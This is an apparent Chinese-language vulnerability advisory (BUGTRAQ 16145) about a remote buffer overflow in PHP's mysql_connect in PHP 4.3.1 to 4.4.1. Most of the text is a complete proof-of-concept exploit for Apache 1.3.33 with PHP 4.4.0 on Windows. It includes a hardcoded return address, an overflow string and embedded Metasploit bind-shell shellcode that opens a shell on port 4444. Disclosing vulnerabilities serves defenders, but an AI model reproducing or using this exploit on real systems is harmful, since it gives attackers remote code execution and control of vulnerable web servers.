受影响系统:
PHPPHP4.4.1
PHPPHP4.4.0
PHPPHP4.3.1
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID:16145
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP中存在远程溢出,攻击者可以利用这个在受影响的WebServer上执行任意代码。失败的攻击尝试也可能导致WebServer崩溃。
请注意通常情况下远程攻击者是无法修改访问mysql_connect函数的参数的,因此可限制攻击的可能性。
<*来源:mercenary
*>
测试方法:
--------------------------------------------------------------------------------
警告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?php
//Exploitfor
// Apache/1.3.33
// PHP/4.4.0
//Windowsonly
$eip="71AB5651"; //EIP-CALLESIfromWinsock2.0ws2_32.dllv5.1.2600.0
$esi="10000000"; //ESI-Temporary.Thememoryunderthislocationwillbetrashed.
//Metasploitwin32bindshellonport4444
//Threadexitmethod,nofilter
$shellcode=pack("H*","fc6aeb4de8f9ffffff608b6c24248b453c8b7c057801ef8b4f188b5f2001eb498b348b01ee31c099ac84c07407c1ca0d01c2ebf43b54242875e58b5f2401eb668b0c4b8b5f1c01eb032c8b896c241c61c331db648b43308b400c8b701cad8b40085e688e4e0eec50ffd6665366683332687773325f54ffd068cbedfc3b50ffd65f89e56681ed0802556a02ffd068d909f5ad57ffd6535353535343534353ffd06668115c665389e19568a41a70c757ffd66a105155ffd068a4ad2ee957ffd65355ffd068e549864957ffd650545455ffd09368e779c67957ffd655ffd0666a646668636d89e56a505929cc89e76a4489e231c0f3aafe422dfe422c938d7a38ababab6872feb316ff7544ffd65b57525151516a0151515551ffd068add905ce53ffd66affff37ffd08b57fc83c464ffd652ffd068efcee06053ffd6ffd0");
//Endianconversion
$eip=substr($eip,6,2).substr($eip,4,2).substr($eip,2,2).substr($eip,0,2);
$esi=substr($esi,6,2).substr($esi,4,2).substr($esi,2,2).substr($esi,0,2);
$overflowstring="localhost:/";
$overflowstring.="XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
$overflowstring.=pack("H*",$eip); //EIP
$overflowstring.=pack("H*",$esi); //ESI
$overflowstring.="/";
//Ifwedon'tdefinethis,ourshellcodegetstruncated
$two="AAAAAAAAAA";
mysql_connect($overflowstring,$shellcode);
?>
建议:
--------------------------------------------------------------------------------
厂商补丁:
PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: